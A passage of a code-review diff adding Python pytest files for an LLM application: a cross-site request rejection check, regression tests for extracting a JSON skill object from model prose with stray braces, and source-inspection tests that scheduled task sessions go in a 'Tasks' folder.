|
||||
with pytest.raises(HTTPException) as exc:
|
||||
_reject_cross_site(self._req({"sec-fetch-site": "cross-site"}))
|
||||
assert exc.value.status_code == 403
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
"""Regression: skill-extraction JSON parsing must tolerate a stray brace in prose.
|
||||
|
||||
maybe_extract_skill() sliced the LLM response from the first '{' to the last
|
||||
'}'. When a model emits a stray brace in prose before the real object
|
||||
(e.g. "uses {placeholder} then {...}"), that slice starts at the prose brace and
|
||||
json.loads fails, so a perfectly good skill is silently dropped. Extraction now
|
||||
tries each '{' start position and returns the first candidate that parses to a
|
||||
JSON object.
|
||||
"""
|
||||
from services.memory import skill_extractor
|
||||
|
||||
|
||||
def test_stray_brace_before_real_json_is_recovered():
|
||||
resp = (
|
||||
'The user mentioned {placeholder} before the actual JSON '
|
||||
'{"title": "Restart the service", "steps": ["a", "b"]}'
|
||||
)
|
||||
data = skill_extractor._extract_json_object(resp)
|
||||
assert isinstance(data, dict)
|
||||
assert data["title"] == "Restart the service"
|
||||
|
||||
|
||||
def test_clean_json_object():
|
||||
data = skill_extractor._extract_json_object('{"title": "Y", "steps": []}')
|
||||
assert data["title"] == "Y"
|
||||
|
||||
|
||||
def test_code_fenced_json():
|
||||
data = skill_extractor._extract_json_object('```json\n{"title": "Z"}\n```')
|
||||
assert data["title"] == "Z"
|
||||
|
||||
|
||||
def test_no_json_object_returns_none():
|
||||
assert skill_extractor._extract_json_object("just prose, no object here") is None
|
||||
|
||||
|
||||
def test_non_object_json_returns_none():
|
||||
# A bare array is valid JSON but not a skill object.
|
||||
assert skill_extractor._extract_json_object("[1, 2, 3]") is None
|
||||
|
||||
|
||||
def test_empty_input_returns_none():
|
||||
assert skill_extractor._extract_json_object("") is None
|
||||
@@ -0,0 +1,27 @@
|
||||
"""Task sessions must be assigned folder='Tasks' at creation time."""
|
||||
import inspect
|
||||
from src.task_scheduler import TaskScheduler
|
||||
|
||||
|
||||
def test_llm_task_session_gets_tasks_folder():
|
||||
"""_execute_llm_task must create sessions with folder='Tasks'."""
|
||||
source = inspect.getsource(TaskScheduler._execute_llm_task)
|
||||
assert 'folder="Tasks"' in source or "folder='Tasks'" in source, (
|
||||
"LLM task session creation must set folder='Tasks'"
|
||||
)
|
||||
|
||||
|
||||
def test_action_task_session_gets_tasks_folder():
|
||||
"""_deliver_task_result must create sessions with folder='Tasks'."""
|
||||
source = inspect.getsource(TaskScheduler._deliver_task_result)
|
||||
assert 'folder="Tasks"' in source or "folder='Tasks'" in source, (
|
||||
"Action task session delivery must set folder='Tasks'"
|
||||
)
|
||||
|
||||
|
||||
def test_research_task_session_gets_tasks_folder():
|
||||
"""_execute_research_task must create sessions with folder='Tasks'."""
|
||||
source = inspect.getsource(TaskScheduler._execute_research_task)
|
||||
assert 'folder="Tasks"' in source or "folder='Tasks'" in source, (
|
||||
"Research task session creation must set folder='Tasks'"
|
||||
)
|
||||
Reference in New Issue
Block a user